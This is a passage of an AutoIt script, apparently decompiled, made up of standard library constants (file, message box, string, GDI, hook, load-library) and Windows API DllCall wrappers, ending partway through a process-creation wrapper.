  993. Global Const $fd_promptoverwrite = 16
  994. Global Const $create_new = 1
  995. Global Const $create_always = 2
  996. Global Const $open_existing = 3
  997. Global Const $open_always = 4
  998. Global Const $truncate_existing = 5
  999. Global Const $invalid_set_file_pointer = -1
  1000. Global Const $file_begin = 0
  1001. Global Const $file_current = 1
  1002. Global Const $file_end = 2
  1003. Global Const $file_attribute_readonly = 1
  1004. Global Const $file_attribute_hidden = 2
  1005. Global Const $file_attribute_system = 4
  1006. Global Const $file_attribute_directory = 16
  1007. Global Const $file_attribute_archive = 32
  1008. Global Const $file_attribute_device = 64
  1009. Global Const $file_attribute_normal = 128
  1010. Global Const $file_attribute_temporary = 256
  1011. Global Const $file_attribute_sparse_file = 512
  1012. Global Const $file_attribute_reparse_point = 1024
  1013. Global Const $file_attribute_compressed = 2048
  1014. Global Const $file_attribute_offline = 4096
  1015. Global Const $file_attribute_not_content_indexed = 8192
  1016. Global Const $file_attribute_encrypted = 16384
  1017. Global Const $file_share_read = 1
  1018. Global Const $file_share_write = 2
  1019. Global Const $file_share_delete = 4
  1020. Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write)
  1021. Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete)
  1022. Global Const $generic_all = 268435456
  1023. Global Const $generic_execute = 536870912
  1024. Global Const $generic_write = 1073741824
  1025. Global Const $generic_read = -2147483648
  1026. Global Const $generic_readwrite = BitOR($generic_read, $generic_write)
  1027. Global Const $file_encoding_utf16le = 32
  1028. Global Const $fe_entire_utf8 = 1
  1029. Global Const $fe_partialfirst_utf8 = 2
  1030. Global Const $fn_fullpath = 0
  1031. Global Const $fn_relativepath = 1
  1032. Global Const $fv_comments = "Comments"
  1033. Global Const $fv_companyname = "CompanyName"
  1034. Global Const $fv_filedescription = "FileDescription"
  1035. Global Const $fv_fileversion = "FileVersion"
  1036. Global Const $fv_internalname = "InternalName"
  1037. Global Const $fv_legalcopyright = "LegalCopyright"
  1038. Global Const $fv_legaltrademarks = "LegalTrademarks"
  1039. Global Const $fv_originalfilename = "OriginalFilename"
  1040. Global Const $fv_productname = "ProductName"
  1041. Global Const $fv_productversion = "ProductVersion"
  1042. Global Const $fv_privatebuild = "PrivateBuild"
  1043. Global Const $fv_specialbuild = "SpecialBuild"
  1044. Global Const $frta_nocount = 0
  1045. Global Const $frta_count = 1
  1046. Global Const $frta_intarrays = 2
  1047. Global Const $frta_entiresplit = 4
  1048. Global Const $flta_filesfolders = 0
  1049. Global Const $flta_files = 1
  1050. Global Const $flta_folders = 2
  1051. Global Const $fltar_filesfolders = 0
  1052. Global Const $fltar_files = 1
  1053. Global Const $fltar_folders = 2
  1054. Global Const $fltar_nohidden = 4
  1055. Global Const $fltar_nosystem = 8
  1056. Global Const $fltar_nolink = 16
  1057. Global Const $fltar_norecur = 0
  1058. Global Const $fltar_recur = 1
  1059. Global Const $fltar_nosort = 0
  1060. Global Const $fltar_sort = 1
  1061. Global Const $fltar_fastsort = 2
  1062. Global Const $fltar_nopath = 0
  1063. Global Const $fltar_relpath = 1
  1064. Global Const $fltar_fullpath = 2
  1065. Global Const $mb_ok = 0
  1066. Global Const $mb_okcancel = 1
  1067. Global Const $mb_abortretryignore = 2
  1068. Global Const $mb_yesnocancel = 3
  1069. Global Const $mb_yesno = 4
  1070. Global Const $mb_retrycancel = 5
  1071. Global Const $mb_canceltrycontinue = 6
  1072. Global Const $mb_help = 16384
  1073. Global Const $mb_iconstop = 16
  1074. Global Const $mb_iconerror = 16
  1075. Global Const $mb_iconhand = 16
  1076. Global Const $mb_iconquestion = 32
  1077. Global Const $mb_iconexclamation = 48
  1078. Global Const $mb_iconwarning = 48
  1079. Global Const $mb_iconinformation = 64
  1080. Global Const $mb_iconasterisk = 64
  1081. Global Const $mb_usericon = 128
  1082. Global Const $mb_defbutton1 = 0
  1083. Global Const $mb_defbutton2 = 256
  1084. Global Const $mb_defbutton3 = 512
  1085. Global Const $mb_defbutton4 = 768
  1086. Global Const $mb_applmodal = 0
  1087. Global Const $mb_systemmodal = 4096
  1088. Global Const $mb_taskmodal = 8192
  1089. Global Const $mb_default_desktop_only = 131072
  1090. Global Const $mb_right = 524288
  1091. Global Const $mb_rtlreading = 1048576
  1092. Global Const $mb_setforeground = 65536
  1093. Global Const $mb_topmost = 262144
  1094. Global Const $mb_service_notification = 2097152
  1095. Global Const $mb_rightjustified = $mb_right
  1096. Global Const $idtimeout = -1
  1097. Global Const $idok = 1
  1098. Global Const $idcancel = 2
  1099. Global Const $idabort = 3
  1100. Global Const $idretry = 4
  1101. Global Const $idignore = 5
  1102. Global Const $idyes = 6
  1103. Global Const $idno = 7
  1104. Global Const $idclose = 8
  1105. Global Const $idhelp = 9
  1106. Global Const $idtryagain = 10
  1107. Global Const $idcontinue = 11
  1108.  
  1109. Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  1110.     Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  1111.     If @error Then Return SetError(@error, @extended, "")
  1112.     If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  1113.     Return $aresult
  1114. EndFunc
  1115.  
  1116. Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  1117.     Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  1118.     If @error Then Return SetError(@error, @extended, "")
  1119.     If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  1120.     Return $aresult
  1121. EndFunc
  1122.  
  1123. Global Const $str_nocasesense = 0
  1124. Global Const $str_casesense = 1
  1125. Global Const $str_nocasesensebasic = 2
  1126. Global Const $str_stripleading = 1
  1127. Global Const $str_striptrailing = 2
  1128. Global Const $str_stripspaces = 4
  1129. Global Const $str_stripall = 8
  1130. Global Const $str_chrsplit = 0
  1131. Global Const $str_entiresplit = 1
  1132. Global Const $str_nocount = 2
  1133. Global Const $str_regexpmatch = 0
  1134. Global Const $str_regexparraymatch = 1
  1135. Global Const $str_regexparrayfullmatch = 2
  1136. Global Const $str_regexparrayglobalmatch = 3
  1137. Global Const $str_regexparrayglobalfullmatch = 4
  1138. Global Const $str_endisstart = 0
  1139. Global Const $str_endnotstart = 1
  1140. Global Const $sb_ansi = 1
  1141. Global Const $sb_utf16le = 2
  1142. Global Const $sb_utf16be = 3
  1143. Global Const $sb_utf8 = 4
  1144. Global Const $se_utf16 = 0
  1145. Global Const $se_ansi = 1
  1146. Global Const $se_utf8 = 2
  1147. Global Const $str_utf16 = 0
  1148. Global Const $str_ucs2 = 1
  1149. Global Const $hgdi_error = Ptr(-1)
  1150. Global Const $invalid_handle_value = Ptr(-1)
  1151. Global Const $clr_invalid = -1
  1152. Global Const $null_brush = 5
  1153. Global Const $null_pen = 8
  1154. Global Const $black_brush = 4
  1155. Global Const $dkgray_brush = 3
  1156. Global Const $dc_brush = 18
  1157. Global Const $gray_brush = 2
  1158. Global Const $hollow_brush = $null_brush
  1159. Global Const $ltgray_brush = 1
  1160. Global Const $white_brush = 0
  1161. Global Const $black_pen = 7
  1162. Global Const $dc_pen = 19
  1163. Global Const $white_pen = 6
  1164. Global Const $ansi_fixed_font = 11
  1165. Global Const $ansi_var_font = 12
  1166. Global Const $device_default_font = 14
  1167. Global Const $default_gui_font = 17
  1168. Global Const $oem_fixed_font = 10
  1169. Global Const $system_font = 13
  1170. Global Const $system_fixed_font = 16
  1171. Global Const $default_palette = 15
  1172. Global Const $mb_precomposed = 1
  1173. Global Const $mb_composite = 2
  1174. Global Const $mb_useglyphchars = 4
  1175. Global Const $ulw_alpha = 2
  1176. Global Const $ulw_colorkey = 1
  1177. Global Const $ulw_opaque = 4
  1178. Global Const $ulw_ex_noresize = 8
  1179. Global Const $wh_callwndproc = 4
  1180. Global Const $wh_callwndprocret = 12
  1181. Global Const $wh_cbt = 5
  1182. Global Const $wh_debug = 9
  1183. Global Const $wh_foregroundidle = 11
  1184. Global Const $wh_getmessage = 3
  1185. Global Const $wh_journalplayback = 1
  1186. Global Const $wh_journalrecord = 0
  1187. Global Const $wh_keyboard = 2
  1188. Global Const $wh_keyboard_ll = 13
  1189. Global Const $wh_mouse = 7
  1190. Global Const $wh_mouse_ll = 14
  1191. Global Const $wh_msgfilter = -1
  1192. Global Const $wh_shell = 10
  1193. Global Const $wh_sysmsgfilter = 6
  1194. Global Const $wpf_asyncwindowplacement = 4
  1195. Global Const $wpf_restoretomaximized = 2
  1196. Global Const $wpf_setminposition = 1
  1197. Global Const $kf_extended = 256
  1198. Global Const $kf_altdown = 8192
  1199. Global Const $kf_up = 32768
  1200. Global Const $llkhf_extended = BitShift($kf_extended, 8)
  1201. Global Const $llkhf_injected = 16
  1202. Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
  1203. Global Const $llkhf_up = BitShift($kf_up, 8)
  1204. Global Const $ofn_allowmultiselect = 512
  1205. Global Const $ofn_createprompt = 8192
  1206. Global Const $ofn_dontaddtorecent = 33554432
  1207. Global Const $ofn_enablehook = 32
  1208. Global Const $ofn_enableincludenotify = 4194304
  1209. Global Const $ofn_enablesizing = 8388608
  1210. Global Const $ofn_enabletemplate = 64
  1211. Global Const $ofn_enabletemplatehandle = 128
  1212. Global Const $ofn_explorer = 524288
  1213. Global Const $ofn_extensiondifferent = 1024
  1214. Global Const $ofn_filemustexist = 4096
  1215. Global Const $ofn_forceshowhidden = 268435456
  1216. Global Const $ofn_hidereadonly = 4
  1217. Global Const $ofn_longnames = 2097152
  1218. Global Const $ofn_nochangedir = 8
  1219. Global Const $ofn_nodereferencelinks = 1048576
  1220. Global Const $ofn_nolongnames = 262144
  1221. Global Const $ofn_nonetworkbutton = 131072
  1222. Global Const $ofn_noreadonlyreturn = 32768
  1223. Global Const $ofn_notestfilecreate = 65536
  1224. Global Const $ofn_novalidate = 256
  1225. Global Const $ofn_overwriteprompt = 2
  1226. Global Const $ofn_pathmustexist = 2048
  1227. Global Const $ofn_readonly = 1
  1228. Global Const $ofn_shareaware = 16384
  1229. Global Const $ofn_showhelp = 16
  1230. Global Const $ofn_ex_noplacesbar = 1
  1231. Global Const $tmpf_fixed_pitch = 1
  1232. Global Const $tmpf_vector = 2
  1233. Global Const $tmpf_truetype = 4
  1234. Global Const $tmpf_device = 8
  1235. Global Const $duplicate_close_source = 1
  1236. Global Const $duplicate_same_access = 2
  1237. Global Const $di_mask = 1
  1238. Global Const $di_image = 2
  1239. Global Const $di_normal = 3
  1240. Global Const $di_compat = 4
  1241. Global Const $di_defaultsize = 8
  1242. Global Const $di_nomirror = 16
  1243. Global Const $display_device_attached_to_desktop = 1
  1244. Global Const $display_device_multi_driver = 2
  1245. Global Const $display_device_primary_device = 4
  1246. Global Const $display_device_mirroring_driver = 8
  1247. Global Const $display_device_vga_compatible = 16
  1248. Global Const $display_device_removable = 32
  1249. Global Const $display_device_disconnect = 33554432
  1250. Global Const $display_device_remote = 67108864
  1251. Global Const $display_device_modespruned = 134217728
  1252. Global Const $flashw_caption = 1
  1253. Global Const $flashw_tray = 2
  1254. Global Const $flashw_timer = 4
  1255. Global Const $flashw_timernofg = 12
  1256. Global Const $format_message_allocate_buffer = 256
  1257. Global Const $format_message_ignore_inserts = 512
  1258. Global Const $format_message_from_string = 1024
  1259. Global Const $format_message_from_hmodule = 2048
  1260. Global Const $format_message_from_system = 4096
  1261. Global Const $format_message_argument_array = 8192
  1262. Global Const $gw_hwndfirst = 0
  1263. Global Const $gw_hwndlast = 1
  1264. Global Const $gw_hwndnext = 2
  1265. Global Const $gw_hwndprev = 3
  1266. Global Const $gw_owner = 4
  1267. Global Const $gw_child = 5
  1268. Global Const $gw_enabledpopup = 6
  1269. Global Const $gwl_wndproc = -4
  1270. Global Const $gwl_hinstance = -6
  1271. Global Const $gwl_hwndparent = -8
  1272. Global Const $gwl_id = -12
  1273. Global Const $gwl_style = -16
  1274. Global Const $gwl_exstyle = -20
  1275. Global Const $gwl_userdata = -21
  1276. Global Const $std_cut = 0
  1277. Global Const $std_copy = 1
  1278. Global Const $std_paste = 2
  1279. Global Const $std_undo = 3
  1280. Global Const $std_redow = 4
  1281. Global Const $std_delete = 5
  1282. Global Const $std_filenew = 6
  1283. Global Const $std_fileopen = 7
  1284. Global Const $std_filesave = 8
  1285. Global Const $std_printpre = 9
  1286. Global Const $std_properties = 10
  1287. Global Const $std_help = 11
  1288. Global Const $std_find = 12
  1289. Global Const $std_replace = 13
  1290. Global Const $std_print = 14
  1291. Global Const $image_bitmap = 0
  1292. Global Const $image_icon = 1
  1293. Global Const $image_cursor = 2
  1294. Global Const $image_enhmetafile = 3
  1295. Global Const $kb_sendspecial = 0
  1296. Global Const $kb_sendraw = 1
  1297. Global Const $kb_capsoff = 0
  1298. Global Const $kb_capson = 1
  1299. Global Const $dont_resolve_dll_references = 1
  1300. Global Const $load_library_as_datafile = 2
  1301. Global Const $load_with_altered_search_path = 8
  1302. Global Const $load_ignore_code_authz_level = 16
  1303. Global Const $load_library_as_datafile_exclusive = 64
  1304. Global Const $load_library_as_image_resource = 32
  1305. Global Const $load_library_search_application_dir = 512
  1306. Global Const $load_library_search_default_dirs = 4096
  1307. Global Const $load_library_search_dll_load_dir = 256
  1308. Global Const $load_library_search_system32 = 2048
  1309. Global Const $load_library_search_user_dirs = 1024
  1310. Global Const $s_ok = 0
  1311. Global Const $e_abort = -2147467260
  1312. Global Const $e_accessdenied = -2147024891
  1313. Global Const $e_fail = -2147467259
  1314. Global Const $e_handle = -2147024890
  1315. Global Const $e_invalidarg = -2147024809
  1316. Global Const $e_nointerface = -2147467262
  1317. Global Const $e_notimpl = -2147467263
  1318. Global Const $e_outofmemory = -2147024882
  1319. Global Const $e_pointer = -2147467261
  1320. Global Const $e_unexpected = -2147418113
  1321. Global Const $lr_defaultcolor = 0
  1322. Global Const $lr_monochrome = 1
  1323. Global Const $lr_color = 2
  1324. Global Const $lr_copyreturnorg = 4
  1325. Global Const $lr_copydeleteorg = 8
  1326. Global Const $lr_loadfromfile = 16
  1327. Global Const $lr_loadtransparent = 32
  1328. Global Const $lr_defaultsize = 64
  1329. Global Const $lr_vgacolor = 128
  1330. Global Const $lr_loadmap3dcolors = 4096
  1331. Global Const $lr_createdibsection = 8192
  1332. Global Const $lr_copyfromresource = 16384
  1333. Global Const $lr_shared = 32768
  1334. Global Const $obm_trtype = 32732
  1335. Global Const $obm_lfarrowi = 32734
  1336. Global Const $obm_rgarrowi = 32735
  1337. Global Const $obm_dnarrowi = 32736
  1338. Global Const $obm_uparrowi = 32737
  1339. Global Const $obm_combo = 32738
  1340. Global Const $obm_mnarrow = 32739
  1341. Global Const $obm_lfarrowd = 32740
  1342. Global Const $obm_rgarrowd = 32741
  1343. Global Const $obm_dnarrowd = 32742
  1344. Global Const $obm_uparrowd = 32743
  1345. Global Const $obm_restored = 32744
  1346. Global Const $obm_zoomd = 32745
  1347. Global Const $obm_reduced = 32746
  1348. Global Const $obm_restore = 32747
  1349. Global Const $obm_zoom = 32748
  1350. Global Const $obm_reduce = 32749
  1351. Global Const $obm_lfarrow = 32750
  1352. Global Const $obm_rgarrow = 32751
  1353. Global Const $obm_dnarrow = 32752
  1354. Global Const $obm_uparrow = 32753
  1355. Global Const $obm_close = 32754
  1356. Global Const $obm_old_restore = 32755
  1357. Global Const $obm_old_zoom = 32756
  1358. Global Const $obm_old_reduce = 32757
  1359. Global Const $obm_btncorners = 32758
  1360. Global Const $obm_checkboxes = 32759
  1361. Global Const $obm_check = 32760
  1362. Global Const $obm_btsize = 32761
  1363. Global Const $obm_old_lfarrow = 32762
  1364. Global Const $obm_old_rgarrow = 32763
  1365. Global Const $obm_old_dnarrow = 32764
  1366. Global Const $obm_old_uparrow = 32765
  1367. Global Const $obm_size = 32766
  1368. Global Const $obm_old_close = 32767
  1369. Global Const $oic_sample = 32512
  1370. Global Const $oic_hand = 32513
  1371. Global Const $oic_ques = 32514
  1372. Global Const $oic_bang = 32515
  1373. Global Const $oic_note = 32516
  1374. Global Const $oic_winlogo = 32517
  1375. Global Const $oic_warning = $oic_bang
  1376. Global Const $oic_error = $oic_hand
  1377. Global Const $oic_information = $oic_note
  1378. Global $__g_ainprocess_winapi[64][2] = [[0, 0]]
  1379. Global $__g_awinlist_winapi[64][2] = [[0, 0]]
  1380. Global Const $__winapiconstant_wm_setfont = 48
  1381. Global Const $__winapiconstant_fw_normal = 400
  1382. Global Const $__winapiconstant_default_charset = 1
  1383. Global Const $__winapiconstant_out_default_precis = 0
  1384. Global Const $__winapiconstant_clip_default_precis = 0
  1385. Global Const $__winapiconstant_default_quality = 0
  1386. Global Const $__winapiconstant_logpixelsx = 88
  1387. Global Const $__winapiconstant_logpixelsy = 90
  1388. Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
  1389. Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
  1390. Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
  1391. Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
  1392. Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
  1393.  
  1394. Func _winapi_attachconsole($ipid = -1)
  1395.     Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $ipid)
  1396.     If @error Then Return SetError(@error, @extended, False)
  1397.     Return $aresult[0]
  1398. EndFunc
  1399.  
  1400. Func _winapi_attachthreadinput($iattach, $iattachto, $battach)
  1401.     Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $battach)
  1402.     If @error Then Return SetError(@error, @extended, False)
  1403.     Return $aresult[0]
  1404. EndFunc
  1405.  
  1406. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  1407.     Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  1408.     If @error Then Return SetError(@error, @extended, False)
  1409.     Return $aresult[0]
  1410. EndFunc
  1411.  
  1412. Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
  1413.     Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
  1414.     If @error Then Return SetError(@error, @extended, False)
  1415.     Return $aresult[0]
  1416. EndFunc
  1417.  
  1418. Func _winapi_callnexthookex($hhook, $icode, $wparam, $lparam)
  1419.     Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhook, "int", $icode, "wparam", $wparam, "lparam", $lparam)
  1420.     If @error Then Return SetError(@error, @extended, -1)
  1421.     Return $aresult[0]
  1422. EndFunc
  1423.  
  1424. Func _winapi_callwindowproc($pprevwndfunc, $hwnd, $imsg, $wparam, $lparam)
  1425.     Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $pprevwndfunc, "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  1426.     If @error Then Return SetError(@error, @extended, -1)
  1427.     Return $aresult[0]
  1428. EndFunc
  1429.  
  1430. Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
  1431.     Local $aret = DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
  1432.     If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  1433.     Return $tpoint
  1434. EndFunc
  1435.  
  1436. Func _winapi_closehandle($hobject)
  1437.     Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
  1438.     If @error Then Return SetError(@error, @extended, False)
  1439.     Return $aresult[0]
  1440. EndFunc
  1441.  
  1442. Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
  1443.     Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
  1444.     If @error Then Return SetError(@error, @extended, 0)
  1445.     Return $aresult[0]
  1446. EndFunc
  1447.  
  1448. Func _winapi_commdlgextendederror()
  1449.     Local Const $cderr_dialogfailure = 65535
  1450.     Local Const $cderr_findresfailure = 6
  1451.     Local Const $cderr_initialization = 2
  1452.     Local Const $cderr_loadresfailure = 7
  1453.     Local Const $cderr_loadstrfailure = 5
  1454.     Local Const $cderr_lockresfailure = 8
  1455.     Local Const $cderr_memallocfailure = 9
  1456.     Local Const $cderr_memlockfailure = 10
  1457.     Local Const $cderr_nohinstance = 4
  1458.     Local Const $cderr_nohook = 11
  1459.     Local Const $cderr_notemplate = 3
  1460.     Local Const $cderr_registermsgfail = 12
  1461.     Local Const $cderr_structsize = 1
  1462.     Local Const $fnerr_buffertoosmall = 12291
  1463.     Local Const $fnerr_invalidfilename = 12290
  1464.     Local Const $fnerr_subclassfailure = 12289
  1465.     Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
  1466.     If NOT @error Then
  1467.         Switch $aresult[0]
  1468.             Case $cderr_dialogfailure
  1469.                 Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
  1470.             Case $cderr_findresfailure
  1471.                 Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.")
  1472.             Case $cderr_initialization
  1473.                 Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
  1474.             Case $cderr_loadresfailure
  1475.                 Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.")
  1476.             Case $cderr_loadstrfailure
  1477.                 Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.")
  1478.             Case $cderr_lockresfailure
  1479.                 Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.")
  1480.             Case $cderr_memallocfailure
  1481.                 Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
  1482.             Case $cderr_memlockfailure
  1483.                 Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
  1484.             Case $cderr_nohinstance
  1485.                 Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
  1486.             Case $cderr_nohook
  1487.                 Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
  1488.             Case $cderr_notemplate
  1489.                 Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
  1490.             Case $cderr_registermsgfail
  1491.                 Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
  1492.             Case $cderr_structsize
  1493.                 Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
  1494.             Case $fnerr_buffertoosmall
  1495.                 Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
  1496.             Case $fnerr_invalidfilename
  1497.                 Return SetError($aresult[0], 0, "A file name is invalid.")
  1498.             Case $fnerr_subclassfailure
  1499.                 Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
  1500.         EndSwitch
  1501.     EndIf
  1502.     Return SetError(@error, @extended, "0x" & Hex($aresult[0]))
  1503. EndFunc
  1504.  
  1505. Func _winapi_copyicon($hicon)
  1506.     Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
  1507.     If @error Then Return SetError(@error, @extended, 0)
  1508.     Return $aresult[0]
  1509. EndFunc
  1510.  
  1511. Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
  1512.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "struct*", $pbits)
  1513.     If @error Then Return SetError(@error, @extended, 0)
  1514.     Return $aresult[0]
  1515. EndFunc
  1516.  
  1517. Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  1518.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
  1519.     If @error Then Return SetError(@error, @extended, 0)
  1520.     Return $aresult[0]
  1521. EndFunc
  1522.  
  1523. Func _winapi_createcompatibledc($hdc)
  1524.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  1525.     If @error Then Return SetError(@error, @extended, 0)
  1526.     Return $aresult[0]
  1527. EndFunc
  1528.  
  1529. Func _winapi_createevent($tattributes = 0, $bmanualreset = True, $binitialstate = True, $sname = "")
  1530.     Local $snametype = "wstr"
  1531.     If $sname = "" Then
  1532.         $sname = 0
  1533.         $snametype = "ptr"
  1534.     EndIf
  1535.     Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "struct*", $tattributes, "bool", $bmanualreset, "bool", $binitialstate, $snametype, $sname)
  1536.     If @error Then Return SetError(@error, @extended, 0)
  1537.     Return $aresult[0]
  1538. EndFunc
  1539.  
  1540. Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $tsecurity = 0)
  1541.     Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
  1542.     If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
  1543.     If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
  1544.     If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
  1545.     If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
  1546.     If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
  1547.     If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
  1548.     Switch $icreation
  1549.         Case 0
  1550.             $icd = $create_new
  1551.         Case 1
  1552.             $icd = $create_always
  1553.         Case 2
  1554.             $icd = $open_existing
  1555.         Case 3
  1556.             $icd = $open_always
  1557.         Case 4
  1558.             $icd = $truncate_existing
  1559.     EndSwitch
  1560.     If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
  1561.     If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
  1562.     If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
  1563.     If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
  1564.     Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "struct*", $tsecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
  1565.     If @error OR ($aresult[0] = $invalid_handle_value) Then Return SetError(@error, @extended, 0)
  1566.     Return $aresult[0]
  1567. EndFunc
  1568.  
  1569. Func _winapi_createfont($iheight, $iwidth, $iescape = 0, $iorientn = 0, $iweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $icharset = $__winapiconstant_default_charset, $ioutputprec = $__winapiconstant_out_default_precis, $iclipprec = $__winapiconstant_clip_default_precis, $iquality = $__winapiconstant_default_quality, $ipitch = 0, $sface = "Arial")
  1570.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $iheight, "int", $iwidth, "int", $iescape, "int", $iorientn, "int", $iweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $icharset, "dword", $ioutputprec, "dword", $iclipprec, "dword", $iquality, "dword", $ipitch, "wstr", $sface)
  1571.     If @error Then Return SetError(@error, @extended, 0)
  1572.     Return $aresult[0]
  1573. EndFunc
  1574.  
  1575. Func _winapi_createfontindirect($tlogfont)
  1576.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
  1577.     If @error Then Return SetError(@error, @extended, 0)
  1578.     Return $aresult[0]
  1579. EndFunc
  1580.  
  1581. Func _winapi_createpen($ipenstyle, $iwidth, $icolor)
  1582.     Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "INT", $icolor)
  1583.     If @error Then Return SetError(@error, @extended, 0)
  1584.     Return $aresult[0]
  1585. EndFunc
  1586.  
  1587. Func _winapi_createprocess($sappname, $scommand, $tsecurity, $tthread, $binherit, $iflags, $penviron, $sdir, $tstartupinfo, $tprocess)
  1588.     Local $tcommand = 0
  1589.     Local $sappnametype = "wstr", $sdirtype = "wstr"
  1590.     If $sappname = "" Then
  1591.         $sappnametype = "ptr"
  1592.         $sappname = 0
  1593.     EndIf
